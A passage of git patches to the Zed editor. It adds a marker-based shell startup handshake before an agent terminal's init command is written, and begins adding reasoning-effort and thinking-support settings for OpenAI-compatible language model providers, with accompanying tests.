@@ -109,6 +110,7 @@ const MIN_PANEL_WIDTH: Pixels = px(300.);
 const LAST_USED_AGENT_KEY: &str = "agent_panel__last_used_external_agent";
 const LAST_CREATED_ENTRY_KIND_KEY: &str = "agent_panel__last_created_entry_kind";
 const TERMINAL_AGENT_TELEMETRY_ID: &str = "terminal";
+const TERMINAL_INIT_COMMAND_STARTUP_TIMEOUT: Duration = Duration::from_secs(5);
 const KNOWN_TERMINAL_AGENT_COMMANDS: &[&str] = &[
     "agent", // Unfortunately, both Cursor cli + grok
     "agy",
@@ -2058,25 +2060,63 @@ impl AgentPanel {
         run_init_command
             .then(|| AgentSettings::get_global(cx).terminal_init_command.clone())
             .flatten()
+            .filter(|command| !command.trim().is_empty())
     }
 
     fn write_terminal_init_command(
         terminal: &Entity<terminal::Terminal>,
         init_command: Option<String>,
-        cx: &mut App,
+        cx: &mut Context<Self>,
     ) {
         let Some(command) = init_command else {
             return;
         };
+
+        if !terminal.read(cx).is_pty() {
+            terminal.update(cx, |terminal, _| {
+                terminal.write_init_command(Self::terminal_init_command_input(command))
+            });
+            return;
+        }
+
+        let startup = terminal.update(cx, |terminal, _| {
+            terminal.start_init_command_startup_handshake()
+        });
+
+        let terminal = terminal.downgrade();
+        cx.spawn(async move |_this, cx| {
+            // Fall back to the timeout so the init command is still delivered if
+            // the shell never echoes the marker.
+            let timeout = cx
+                .background_executor()
+                .timer(TERMINAL_INIT_COMMAND_STARTUP_TIMEOUT);
+            futures::select_biased! {
+                _ = startup.fuse() => {}
+                _ = timeout.fuse() => {}
+            }
+
+            let input = Self::terminal_init_command_input(command);
+            if let Err(error) = terminal.update(cx, move |terminal, cx| {
+                if !terminal.write_init_command_after_startup(input, cx) {
+                    log::debug!(
+                        "skipping terminal init command because the terminal is no longer eligible"
+                    );
+                }
+            }) {
+                log::debug!("skipping terminal init command because the terminal closed: {error}");
+            }
+            anyhow::Ok(())
+        })
+        .detach_and_log_err(cx);
+    }
+
+    fn terminal_init_command_input(command: String) -> Vec<u8> {
         let mut input = command.into_bytes();
         // CR, not "\r\n": "\r\n" puts PowerShell into continuation
         // mode (same convention as the activation-script writes in
         // `TerminalBuilder::new`).
         input.push(b'\x0d');
-        // `write_init_command`, not `input`: the latter sets `keyboard_input_sent`,
-        // which would auto-close the terminal (hiding the error) if the shell
-        // fails to spawn after we've written the command.
-        terminal.update(cx, |terminal, _| terminal.write_init_command(input));
+        input
     }
 
     fn insert_terminal(
@@ -7498,15 +7538,12 @@ mod tests {
         cx.executor().allow_parking();
         cx.update(|_, cx| {
             let mut settings = AgentSettings::get_global(cx).clone();
-            // The output (`init_ran_42`) is distinct from the command text
-            // (`init_ran_$((6*7))`), which the PTY also echoes back. Finding the
-            // output therefore proves the shell actually executed the command
-            // rather than merely echoing the keystrokes.
-            settings.terminal_init_command = Some("echo init_ran_$((6*7))".to_string());
+            // `init_ran_42` is the command's output, not its echoed text, so finding
+            // it proves the shell executed the command rather than just echoing it.
+            settings.terminal_init_command = Some("printf 'init_ran_%s\\n' 42".to_string());
             AgentSettings::override_global(settings, cx);
 
-            // Force a POSIX shell rather than relying on the developer's login
-            // shell, which may not support `$((...))` arithmetic (e.g. fish).
+            // Force a known POSIX shell so the test doesn't depend on the developer's login shell.
             let mut terminal_settings = TerminalSettings::get_global(cx).clone();
             terminal_settings.shell = task::Shell::Program("/bin/sh".to_string());
             TerminalSettings::override_global(terminal_settings, cx);
@@ -7536,6 +7573,7 @@ mod tests {
         // sleep, matching the real-PTY test in `acp_thread`.
         let deadline = Instant::now() + Duration::from_secs(10);
         let terminal = loop {
+            cx.run_until_parked();
             let terminal = panel.read_with(&cx, |panel, cx| {
                 panel
                     .terminals
@@ -7549,13 +7587,29 @@ mod tests {
             {
                 break terminal.clone();
             }
-            assert!(
-                Instant::now() < deadline,
-                "init command output never appeared in the terminal"
-            );
+            if Instant::now() >= deadline {
+                let terminal_created = terminal.is_some();
+                let (content, input_log) = if let Some(terminal) = terminal {
+                    let content = terminal.read_with(&cx, |terminal, _| terminal.get_content());
+                    let input_log =
+                        terminal.update(&mut cx, |terminal, _| terminal.take_input_log());
+                    (content, input_log)
+                } else {
+                    (String::new(), Vec::new())
+                };
+                panic!(
+                    "init command output never appeared in the terminal; terminal_created={terminal_created}, content={content:?}, input_log={input_log:?}"
+                );
+            }
             cx.executor().timer(Duration::from_millis(50)).await;
         };
 
+        let input_log = terminal.update(&mut cx, |terminal, _| terminal.take_input_log());
+        assert_eq!(
+            input_log,
+            vec![b"printf 'init_ran_%s\\n' 42\r".to_vec()],
+            "init command should be written only after terminal startup has settled"
+        );
         assert!(
             !terminal.read_with(&cx, |terminal, _| terminal.keyboard_input_sent()),
             "writing the init command must not mark the terminal as having received \
diff --git a/crates/terminal/src/terminal.rs b/crates/terminal/src/terminal.rs
index 60c992555048c2..b74c79d4131874 100644
--- a/crates/terminal/src/terminal.rs
+++ b/crates/terminal/src/terminal.rs
@@ -27,7 +27,7 @@ use futures::StreamExt;
 use pty_info::{ProcessIdGetter, PtyProcessInfo};
 use serde::{Deserialize, Serialize};
 use settings::Settings;
-use task::{HideStrategy, Shell, SpawnInTerminal};
+use task::{HideStrategy, Shell, ShellKind, SpawnInTerminal};
 use terminal_settings::{AlternateScroll, CursorShape as SettingsCursorShape, TerminalSettings};
 use theme::{ActiveTheme, Theme};
 use urlencoding;
@@ -42,7 +42,10 @@ use std::{
     ops::{BitOr, BitOrAssign, Deref, Range as StdRange},
     path::{Path, PathBuf},
     process::ExitStatus,
-    sync::Arc,
+    sync::{
+        Arc,
+        atomic::{AtomicU64, Ordering},
+    },
     time::{Duration, Instant},
 };
 use thiserror::Error;
@@ -850,6 +853,44 @@ impl Display for TerminalError {
 // https://github.com/alacritty/alacritty/blob/cb3a79dbf6472740daca8440d5166c1d4af5029e/extra/man/alacritty.5.scd?plain=1#L207-L213
 const DEFAULT_SCROLL_HISTORY_LINES: usize = 10_000;
 pub const MAX_SCROLL_HISTORY_LINES: usize = 100_000;
+static NEXT_INIT_COMMAND_STARTUP_MARKER_ID: AtomicU64 = AtomicU64::new(1);
+
+const INIT_COMMAND_STARTUP_MARKER_PREFIX: &str = "__zed_init_command_ready_";
+const INIT_COMMAND_STARTUP_MARKER_SUFFIX: &str = "__";
+const INIT_COMMAND_STARTUP_MARKER_SEARCH_LINES: usize = 64;
+
+fn init_command_startup_marker(marker_id: u64) -> String {
+    format!("{INIT_COMMAND_STARTUP_MARKER_PREFIX}{marker_id}{INIT_COMMAND_STARTUP_MARKER_SUFFIX}")
+}
+
+fn init_command_startup_marker_command(shell_kind: ShellKind, marker_id: u64) -> String {
+    // Split the marker across the command so its echo can't satisfy the
+    // handshake; only the command's output contains the contiguous marker.
+    match shell_kind {
+        ShellKind::PowerShell | ShellKind::Pwsh => format!(
+            "Write-Output ('{INIT_COMMAND_STARTUP_MARKER_PREFIX}' + '{marker_id}' + '{INIT_COMMAND_STARTUP_MARKER_SUFFIX}')"
+        ),
+        ShellKind::Cmd => {
+            format!(
+                "<nul set /p zed_init_ready={INIT_COMMAND_STARTUP_MARKER_PREFIX}&echo {marker_id}{INIT_COMMAND_STARTUP_MARKER_SUFFIX}"
+            )
+        }
+        ShellKind::Nushell => {
+            format!(
+                "print $\"{INIT_COMMAND_STARTUP_MARKER_PREFIX}({marker_id}){INIT_COMMAND_STARTUP_MARKER_SUFFIX}\""
+            )
+        }
+        ShellKind::Posix
+        | ShellKind::Csh
+        | ShellKind::Tcsh
+        | ShellKind::Rc
+        | ShellKind::Fish
+        | ShellKind::Xonsh
+        | ShellKind::Elvish => format!(
+            "printf '%s%s%s\\n' {INIT_COMMAND_STARTUP_MARKER_PREFIX} {marker_id} {INIT_COMMAND_STARTUP_MARKER_SUFFIX}"
+        ),
+    }
+}
 
 pub struct TerminalBuilder {
     terminal: Terminal,
@@ -937,6 +978,8 @@ impl TerminalBuilder {
             },
             child_exited: None,
             keyboard_input_sent: false,
+            init_command_startup_marker: None,
+            init_command_startup_tx: None,
             event_loop_task: Task::ready(Ok(())),
             background_executor: background_executor.clone(),
             path_style,
@@ -1160,6 +1203,8 @@ impl TerminalBuilder {
                 },
                 child_exited: None,
                 keyboard_input_sent: false,
+                init_command_startup_marker: None,
+                init_command_startup_tx: None,
                 event_loop_task: Task::ready(Ok(())),
                 background_executor,
                 path_style,
@@ -1319,6 +1364,8 @@ pub struct Terminal {
     activation_script: Vec<String>,
     child_exited: Option<ExitStatus>,
     keyboard_input_sent: bool,
+    init_command_startup_marker: Option<String>,
+    init_command_startup_tx: Option<Sender<()>>,
     event_loop_task: Task<Result<(), anyhow::Error>>,
     background_executor: BackgroundExecutor,
     path_style: PathStyle,
@@ -1431,6 +1478,7 @@ impl Terminal {
                 //NOOP, Handled in render
             }
             TerminalBackendEvent::Wakeup => {
+                self.detect_init_command_startup_marker();
                 cx.emit(Event::Wakeup);
 
                 if let TerminalType::Pty { info, .. } = &self.terminal_type {
@@ -1716,6 +1764,8 @@ impl Terminal {
 
         let mut term = self.term.lock();
         self.output_processor.advance(&mut *term, &converted);
+        drop(term);
+        self.detect_init_command_startup_marker();
         cx.emit(Event::Wakeup);
     }
 
@@ -1863,9 +1913,72 @@ impl Terminal {
 
     pub fn input(&mut self, input: impl Into<Cow<'static, [u8]>>) {
         self.keyboard_input_sent = true;
+        self.complete_init_command_startup_handshake();
         self.write_input(input);
     }
 
+    /// Sends a shell-level marker command and returns a task that completes when
+    /// the marker appears in terminal output. Already complete for non-PTY
+    /// terminals or those whose child has exited.
+    ///
+    /// Call at most once per terminal: a second handshake drops the previous
+    /// `Sender`, which would write the init command twice.
+    pub fn start_init_command_startup_handshake(&mut self) -> Task<()> {
+        if !self.is_pty() || self.child_exited.is_some() {
+            return Task::ready(());
+        }
+
+        debug_assert!(
+            self.init_command_startup_tx.is_none(),
+            "start_init_command_startup_handshake called while a handshake is already in flight"
+        );
+
+        let (startup_tx, startup_rx) = async_channel::bounded(1);
+        let startup_task = self.background_executor.spawn(async move {
+            match startup_rx.recv().await {
+                Ok(()) | Err(_) => {}
+            }
+        });
+
+        let marker_id = NEXT_INIT_COMMAND_STARTUP_MARKER_ID.fetch_add(1, Ordering::Relaxed);
+        self.init_command_startup_marker = Some(init_command_startup_marker(marker_id));
+        self.init_command_startup_tx = Some(startup_tx);
+
+        let shell_kind = self.template.shell.shell_kind(self.path_style.is_windows());
+        let mut input = init_command_startup_marker_command(shell_kind, marker_id).into_bytes();
+        input.push(b'\x0d');
+        self.write_to_pty(input);
+
+        startup_task
+    }
+
+    fn detect_init_command_startup_marker(&mut self) {
+        let Some(marker) = self.init_command_startup_marker.as_deref() else {
+            return;
+        };
+
+        let has_marker = {
+            let term = self.term.lock_unfair();
+            last_non_empty_lines(&term, INIT_COMMAND_STARTUP_MARKER_SEARCH_LINES)
+                .iter()
+                .any(|line| line.contains(marker))
+        };
+
+        if has_marker {
+            self.complete_init_command_startup_handshake();
+        }
+    }
+
+    fn complete_init_command_startup_handshake(&mut self) {
+        self.init_command_startup_marker = None;
+        if let Some(startup_tx) = self.init_command_startup_tx.take() {
+            match startup_tx.try_send(()) {
+                Ok(()) | Err(async_channel::TrySendError::Full(())) => {}
+                Err(async_channel::TrySendError::Closed(())) => {}
+            }
+        }
+    }
+
     /// Write a programmatically-generated command to the PTY as if it had been
     /// typed, without marking the terminal as having received user keyboard
     /// input.
@@ -1873,6 +1986,35 @@ impl Terminal {
         self.write_input(input);
     }
 
+    pub fn is_pty(&self) -> bool {
+        matches!(self.terminal_type, TerminalType::Pty { .. })
+    }
+
+    pub fn write_init_command_after_startup(
+        &mut self,
+        input: impl Into<Cow<'static, [u8]>>,
+        cx: &mut Context<Self>,
+    ) -> bool {
+        // Ends the handshake even if the marker was never seen (timeout
+        // fallback), so detection stops scanning on every wakeup.
+        self.complete_init_command_startup_handshake();
+
+        if self.keyboard_input_sent || self.child_exited.is_some() {
+            return false;
+        }
+
+        self.clear_for_init_command(cx);
+        self.write_init_command(input);
+        true
+    }
+
+    fn clear_for_init_command(&mut self, cx: &mut Context<Self>) {
+        let mut term = self.term.lock_unfair();
+        clear_saved_screen(&mut term);
+        self.last_content = make_content(&term, &self.last_content);
+        cx.emit(Event::Wakeup);
+    }
+
     fn write_input(&mut self, input: impl Into<Cow<'static, [u8]>>) {
         self.events.push_back(InternalEvent::Scroll(Scroll::Bottom));
         self.events.push_back(InternalEvent::SetSelection(None));
@@ -2581,6 +2723,7 @@ impl Terminal {
         if let Some(e) = exit_status {
             self.child_exited = Some(e);
         }
+        self.complete_init_command_startup_handshake();
         let task = match &mut self.task {
             Some(task) => task,
             None => {
@@ -2919,6 +3062,66 @@ mod tests {
     use rand::{Rng, distr, rngs::StdRng};
     use task::{Shell, ShellBuilder};
 
+    #[test]
+    fn test_init_command_startup_marker_commands_do_not_contain_marker() {
+        let marker_id = 42;
+        let marker = init_command_startup_marker(marker_id);
+
+        for shell_kind in [
+            ShellKind::Posix,
+            ShellKind::Csh,
+            ShellKind::Tcsh,
+            ShellKind::Rc,
+            ShellKind::Fish,
+            ShellKind::PowerShell,
+            ShellKind::Pwsh,
+            ShellKind::Nushell,
+            ShellKind::Cmd,
+            ShellKind::Xonsh,
+            ShellKind::Elvish,
+        ] {
+            let command = init_command_startup_marker_command(shell_kind, marker_id);
+            assert!(
+                !command.contains(&marker),
+                "startup marker command for {shell_kind:?} should not contain the full marker, got {command:?}"
+            );
+        }
+    }
+
+    #[gpui::test]
+    async fn test_init_command_startup_marker_ignores_echoed_command(cx: &mut TestAppContext) {
+        let terminal = cx.new(|cx| {
+            TerminalBuilder::new_display_only(
+                SettingsCursorShape::default(),
+                AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            )
+            .subscribe(cx)
+        });
+        let marker_id = 4242;
+        let marker = init_command_startup_marker(marker_id);
+        let command = init_command_startup_marker_command(ShellKind::Posix, marker_id);
+        let (startup_tx, startup_rx) = async_channel::bounded(1);
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.init_command_startup_marker = Some(marker.clone());
+            terminal.init_command_startup_tx = Some(startup_tx);
+            terminal.write_output(command.as_bytes(), cx);
+        });
+        assert!(matches!(
+            startup_rx.try_recv(),
+            Err(async_channel::TryRecvError::Empty)
+        ));
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.write_output(marker.as_bytes(), cx);
+        });
+        assert!(startup_rx.try_recv().is_ok());
+    }
+
     #[test]
     fn test_normalize_path_command_name() {
         assert_eq!(normalize_path_command_name("claude"), Some("claude".into()));
@@ -3524,6 +3727,110 @@ mod tests {
         }
     }
 
+    #[gpui::test]
+    async fn test_write_init_command_after_startup_clears_without_shell_command(
+        cx: &mut TestAppContext,
+    ) {
+        let terminal = cx.new(|cx| {
+            TerminalBuilder::new_display_only(
+                SettingsCursorShape::default(),
+                AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            )
+            .subscribe(cx)
+        });
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.write_output(b"startup output\nprompt", cx);
+        });
+
+        let wrote = terminal.update(cx, |terminal, cx| {
+            terminal.write_init_command_after_startup(b"agent\r".to_vec(), cx)
+        });
+        assert!(wrote);
+        let content = terminal.update(cx, |terminal, _| terminal.get_content());
+        assert!(
+            !content.contains("startup output"),
+            "startup output should be cleared internally before writing the init command"
+        );
+        let input_log = terminal.update(cx, |terminal, _| terminal.take_input_log());
+        assert_eq!(input_log, vec![b"agent\r".to_vec()]);
+    }
+
+    #[gpui::test]
+    async fn test_write_init_command_after_startup_skips_after_keyboard_input(
+        cx: &mut TestAppContext,
+    ) {
+        let terminal = cx.new(|cx| {
+            TerminalBuilder::new_display_only(
+                SettingsCursorShape::default(),
+                AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            )
+            .subscribe(cx)
+        });
+
+        let wrote = terminal.update(cx, |terminal, cx| {
+            terminal.write_output(b"startup output\nprompt", cx);
+            terminal.input(b"user input".to_vec());
+            terminal.write_init_command_after_startup(b"agent\r".to_vec(), cx)
+        });
+        assert!(!wrote);
+        let content = terminal.update(cx, |terminal, _| terminal.get_content());
+        assert!(
+            content.contains("startup output"),
+            "startup output should be left alone when the init command is skipped"
+        );
+        let input_log = terminal.update(cx, |terminal, _| terminal.take_input_log());
+        assert_eq!(input_log, vec![b"user input".to_vec()]);
+    }
+
+    #[gpui::test]
+    async fn test_write_init_command_after_startup_skips_after_child_exit(cx: &mut TestAppContext) {
+        let terminal = cx.new(|cx| {
+            TerminalBuilder::new_display_only(
+                SettingsCursorShape::default(),
+                AlternateScroll::On,
+                None,
+                0,
+                cx.background_executor(),
+                PathStyle::local(),
+            )
+            .subscribe(cx)
+        });
+
+        terminal.update(cx, |terminal, cx| {
+            terminal.write_output(b"shell failed to start\nprompt", cx);
+            #[cfg(unix)]
+            let exit_status =
+                <ExitStatus as std::os::unix::process::ExitStatusExt>::from_raw(1 << 8);
+            #[cfg(windows)]
+            let exit_status = <ExitStatus as std::os::windows::process::ExitStatusExt>::from_raw(1);
+            terminal.register_task_finished(Some(exit_status), cx);
+        });
+
+        let wrote = terminal.update(cx, |terminal, cx| {
+            terminal.write_init_command_after_startup(b"agent\r".to_vec(), cx)
+        });
+        assert!(!wrote);
+        let content = terminal.update(cx, |terminal, _| terminal.get_content());
+        assert!(
+            content.contains("shell failed to start"),
+            "startup failure output should be preserved when the init command is skipped"
+        );
+        let input_log = terminal.update(cx, |terminal, _| terminal.take_input_log());
+        assert!(
+            input_log.is_empty(),
+            "init command should not be written after the child has exited, got {input_log:?}"
+        );
+    }
+
     #[gpui::test]
     async fn test_write_output_converts_lf_to_crlf(cx: &mut TestAppContext) {
         let terminal = cx.new(|cx| {

From 7187d657743a9391ee72ad02067204a381e36187 Mon Sep 17 00:00:00 2001
From: Sergei Razmetov <razmser@gmail.com>
Date: Wed, 24 Jun 2026 00:47:54 +0300
Subject: [PATCH 065/772] language_models: Set support_thinking in Responses
 API for OpenAI-compatible provider (#59213)

# Objective

Fix OpenAI-compatible reasoning/thinking support. Previously,
`OpenAiCompatibleLanguageModel` never reported thinking support, so
configured `reasoning_effort` values did not reliably reach the wire and
Responses API reasoning state could miss `include:
["reasoning.encrypted_content"]`.

Fixes #58289
Addresses #59207 for OpenAI-compatible Responses models configured with
`reasoning_effort`.

## Solution

- Treat a non-`none` configured `reasoning_effort` as OpenAI-compatible
thinking support.
- Expose common OpenAI-style effort levels in the agent UI, using the
configured effort as the default.
- Honor selected reasoning effort for OpenAI-compatible chat-completions
requests.
- Send `reasoning_effort: "none"` when thinking is disabled for a
configured reasoning model.
- Preserve native OpenAI behavior by continuing to use native
model-specific supported efforts and `max_completion_tokens`.
- Add an OpenAI-compatible `max_tokens_parameter` capability for
endpoints that expect output limits as `max_tokens`.
- Parse common streamed thinking fields (`reasoning` and
`reasoning_content`).
- Add provider setup UI and docs for configuring OpenAI-compatible
reasoning models.

## Testing

- `cargo fmt -p language_model_core -p agent_ui -p language_models`
- `cargo test -p language_models provider::open_ai_compatible::tests
--lib`
- `cargo test -p language_models provider::open_ai::tests --lib`
- `cargo test -p open_ai completion::tests --lib`
- `cargo test -p agent_ui
agent_configuration::add_llm_provider_modal::tests --lib`
- `git --no-pager diff --check`

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes:

- Improved OpenAI-compatible provider setup for reasoning models.

---------

Co-authored-by: Anant Goel <anant@zed.dev>
---
 .../add_llm_provider_modal.rs                 | 179 ++++++++-
 crates/edit_prediction/src/mercury.rs         |   1 +
 .../edit_prediction_cli/src/openai_client.rs  |   2 +
 .../src/language_model_core.rs                |  32 ++
 .../language_models/src/provider/open_ai.rs   |  48 ++-
 .../src/provider/open_ai_compatible.rs        | 358 +++++++++++++++++-
 .../language_models/src/provider/opencode.rs  |   4 +-
 .../src/provider/vercel_ai_gateway.rs         |   2 +
 crates/language_models/src/provider/x_ai.rs   |   1 +
 .../src/language_models_cloud.rs              |   4 +-
 crates/open_ai/src/completion.rs              | 139 ++++++-
 crates/open_ai/src/open_ai.rs                 |   3 +
 crates/settings_content/src/language_model.rs |   3 +
 docs/src/ai/use-api-access.md                 |  66 ++++
 14 files changed, 799 insertions(+), 43 deletions(-)

diff --git a/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs b/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
index 86e556e2e5d67c..d1f281bbca44c3 100644
--- a/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
+++ b/crates/agent_ui/src/agent_configuration/add_llm_provider_modal.rs
@@ -13,11 +13,12 @@ use language_models::provider::open_ai_compatible::{
 };
 use settings::{
     AnthropicCompatibleAvailableModel, AnthropicCompatibleModelCapabilities,
-    AnthropicCompatibleSettingsContent, OpenAiCompatibleSettingsContent, update_settings_file,
+    AnthropicCompatibleSettingsContent, OpenAiCompatibleSettingsContent, OpenAiReasoningEffort,
+    update_settings_file,
 };
 use ui::{
-    Banner, Checkbox, KeyBinding, Modal, ModalFooter, ModalHeader, Section, ToggleState,
-    WithScrollbar, prelude::*,
+    Banner, Checkbox, ContextMenu, ContextMenuEntry, DropdownMenu, DropdownStyle, IconPosition,
+    KeyBinding, Modal, ModalFooter, ModalHeader, Section, ToggleState, WithScrollbar, prelude::*,
 };
 use ui_input::InputField;
 use workspace::{ModalView, Workspace};
@@ -126,6 +127,9 @@ struct ModelCapabilityToggles {
     pub supports_parallel_tool_calls: ToggleState,
     pub supports_prompt_cache_key: ToggleState,
     pub supports_chat_completions: ToggleState,
+    pub supports_thinking: ToggleState,
+    pub interleaved_reasoning: ToggleState,
+    pub max_tokens_parameter: ToggleState,
 }
 
 struct ModelInput {
@@ -133,6 +137,7 @@ struct ModelInput {
     max_completion_tokens: Entity<InputField>,
     max_output_tokens: Entity<InputField>,
     max_tokens: Entity<InputField>,
+    reasoning_effort: OpenAiReasoningEffort,
     capabilities: ModelCapabilityToggles,
 }
 
@@ -179,6 +184,8 @@ impl ModelInput {
             parallel_tool_calls,
             prompt_cache_key,
             chat_completions,
+            interleaved_reasoning,
+            max_tokens_parameter,
             ..
         } = OpenAiCompatibleModelCapabilities::default();
 
@@ -193,7 +200,11 @@ impl ModelInput {
                 supports_parallel_tool_calls: parallel_tool_calls.into(),
                 supports_prompt_cache_key: prompt_cache_key.into(),
                 supports_chat_completions: chat_completions.into(),
+                supports_thinking: ToggleState::Unselected,
+                interleaved_reasoning: interleaved_reasoning.into(),
+                max_tokens_parameter: max_tokens_parameter.into(),
             },
+            reasoning_effort: OpenAiReasoningEffort::Medium,
         }
     }
 
@@ -223,14 +234,24 @@ impl ModelInput {
                 cx,
             )?),
             max_tokens: parse_u64_field(&self.max_tokens, "Max Tokens", cx)?,
-            reasoning_effort: None,
+            reasoning_effort: {
+                if self.capabilities.supports_thinking.selected() {
+                    Some(self.reasoning_effort)
+                } else {
+                    None
+                }
+            },
             capabilities: OpenAiCompatibleModelCapabilities {
                 tools: self.capabilities.supports_tools.selected(),
                 images: self.capabilities.supports_images.selected(),
                 parallel_tool_calls: self.capabilities.supports_parallel_tool_calls.selected(),
                 prompt_cache_key: self.capabilities.supports_prompt_cache_key.selected(),
                 chat_completions: self.capabilities.supports_chat_completions.selected(),
-                interleaved_reasoning: false,
+                interleaved_reasoning: self.capabilities.supports_thinking.selected()
+                    && self.capabilities.supports_chat_completions.selected()
+                    && self.capabilities.interleaved_reasoning.selected(),
+                max_tokens_parameter: self.capabilities.supports_chat_completions.selected()
+                    && self.capabilities.max_tokens_parameter.selected(),
             },
         })
     }
@@ -438,7 +459,11 @@ impl AddLlmProviderModal {
         cx.emit(DismissEvent);
     }
 
-    fn render_model_section(&self, cx: &mut Context<Self>) -> impl IntoElement {
+    fn render_model_section(
+        &self,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement {
         v_flex()
             .mt_1()
             .gap_2()
@@ -465,11 +490,94 @@ impl AddLlmProviderModal {
                     .models
                     .iter()
                     .enumerate()
-                    .map(|(ix, _)| self.render_model(ix, cx)),
+                    .map(|(ix, _)| self.render_model(ix, window, cx)),
+            )
+    }
+
+    fn render_open_ai_reasoning_settings(
+        &self,
+        ix: usize,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement + use<> {
+        let model = &self.input.models[ix];
+        let selected_effort = model.reasoning_effort;
+        let supports_thinking = model.capabilities.supports_thinking;
+        let supports_chat_completions = model.capabilities.supports_chat_completions;
+        let interleaved_reasoning = model.capabilities.interleaved_reasoning;
+        let weak_self = cx.weak_entity();
+
+        let effort_menu = ContextMenu::build(window, cx, move |mut menu, _window, _cx| {
+            for effort in OpenAiReasoningEffort::OPENAI_COMPATIBLE_SELECTABLE {
+                let is_selected = effort == selected_effort;
+                let weak_self = weak_self.clone();
+                menu.push_item(
+                    ContextMenuEntry::new(effort.label())
+                        .toggleable(IconPosition::End, is_selected)
+                        .handler(move |_window, cx| {
+                            weak_self
+                                .update(cx, |this, cx| {
+                                    this.input.models[ix].reasoning_effort = effort;
+                                    cx.notify();
+                                })
+                                .ok();
+                        }),
+                );
+            }
+
+            menu
+        });
+
+        v_flex()
+            .gap_1()
+            .child(
+                Checkbox::new(("supports-thinking", ix), supports_thinking)
+                    .label("Supports thinking")
+                    .on_click(cx.listener(move |this, checked, _window, cx| {
+                        this.input.models[ix].capabilities.supports_thinking = *checked;
+                        cx.notify();
+                    })),
             )
+            .when(supports_thinking.selected(), |parent| {
+                parent
+                    .child(
+                        v_flex()
+                            .gap_1()
+                            .child(Label::new("Default reasoning effort").size(LabelSize::Small))
+                            .child(
+                                DropdownMenu::new(
+                                    ElementId::Name(
+                                        format!("reasoning-effort-selector-{ix}").into(),
+                                    ),
+                                    selected_effort.label(),
+                                    effort_menu,
+                                )
+                                .style(DropdownStyle::Outlined)
+                                .trigger_size(ButtonSize::Compact)
+                                .full_width(true)
+                                .aria_label("Default reasoning effort"),
+                            ),
+                    )
+                    .when(supports_chat_completions.selected(), |parent| {
+                        parent.child(
+                            Checkbox::new(("interleaved-reasoning", ix), interleaved_reasoning)
+                                .label("Preserves thinking in chat history")
+                                .on_click(cx.listener(move |this, checked, _window, cx| {
+                                    this.input.models[ix].capabilities.interleaved_reasoning =
+                                        *checked;
+                                    cx.notify();
+                                })),
+                        )
+                    })
+            })
     }
 
-    fn render_model(&self, ix: usize, cx: &mut Context<Self>) -> impl IntoElement + use<> {
+    fn render_model(
+        &self,
+        ix: usize,
+        window: &mut Window,
+        cx: &mut Context<Self>,
+    ) -> impl IntoElement + use<> {
         let has_more_than_one_model = self.input.models.len() > 1;
         let is_open_ai = self.provider.is_open_ai();
         let model = &self.input.models[ix];
@@ -558,6 +666,27 @@ impl AddLlmProviderModal {
                                     },
                                 )),
                             )
+                            .when(
+                                model.capabilities.supports_chat_completions.selected(),
+                                |parent| {
+                                    parent.child(
+                                        Checkbox::new(
+                                            ("max-tokens-parameter", ix),
+                                            model.capabilities.max_tokens_parameter,
+                                        )
+                                        .label("Uses max_tokens for output limit")
+                                        .on_click(
+                                            cx.listener(move |this, checked, _window, cx| {
+                                                this.input.models[ix]
+                                                    .capabilities
+                                                    .max_tokens_parameter = *checked;
+                                                cx.notify();
+                                            }),
+                                        ),
+                                    )
+                                },
+                            )
+                            .child(self.render_open_ai_reasoning_settings(ix, window, cx))
                     }),
             )
             .when(has_more_than_one_model, |this| {
@@ -663,7 +792,7 @@ impl Render for AddLlmProviderModal {
                                     .child(self.input.provider_name.clone())
                                     .child(self.input.api_url.clone())
                                     .child(self.input.api_key.clone())
-                                    .child(self.render_model_section(cx)),
+                                    .child(self.render_model_section(window, cx)),
                             ),
                     )
                     .footer(
@@ -888,6 +1017,19 @@ mod tests {
                 model_input.capabilities.supports_chat_completions,
                 ToggleState::Selected
             );
+            assert_eq!(
+                model_input.capabilities.supports_thinking,
+                ToggleState::Unselected
+            );
+            assert_eq!(
+                model_input.capabilities.interleaved_reasoning,
+                ToggleState::Unselected
+            );
+            assert_eq!(
+                model_input.capabilities.max_tokens_parameter,
+                ToggleState::Unselected
+            );
+            assert_eq!(model_input.reasoning_effort, OpenAiReasoningEffort::Medium);
 
             let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
             assert!(parsed_model.capabilities.tools);
@@ -895,6 +1037,9 @@ mod tests {
             assert!(!parsed_model.capabilities.parallel_tool_calls);
             assert!(!parsed_model.capabilities.prompt_cache_key);
             assert!(parsed_model.capabilities.chat_completions);
+            assert!(!parsed_model.capabilities.interleaved_reasoning);
+            assert!(!parsed_model.capabilities.max_tokens_parameter);
+            assert_eq!(parsed_model.reasoning_effort, None);
         });
     }
 
@@ -913,6 +1058,9 @@ mod tests {
             model_input.capabilities.supports_parallel_tool_calls = ToggleState::Unselected;
             model_input.capabilities.supports_prompt_cache_key = ToggleState::Unselected;
             model_input.capabilities.supports_chat_completions = ToggleState::Unselected;
+            model_input.capabilities.supports_thinking = ToggleState::Unselected;
+            model_input.capabilities.interleaved_reasoning = ToggleState::Selected;
+            model_input.capabilities.max_tokens_parameter = ToggleState::Selected;
 
             let parsed_model = model_input.parse_open_ai_compatible(cx).unwrap();
             assert!(!parsed_model.capabilities.tools);
@@ -920,6 +1068,9 @@ mod tests {
             assert!(!parsed_model.capabilities.parallel_tool_calls);
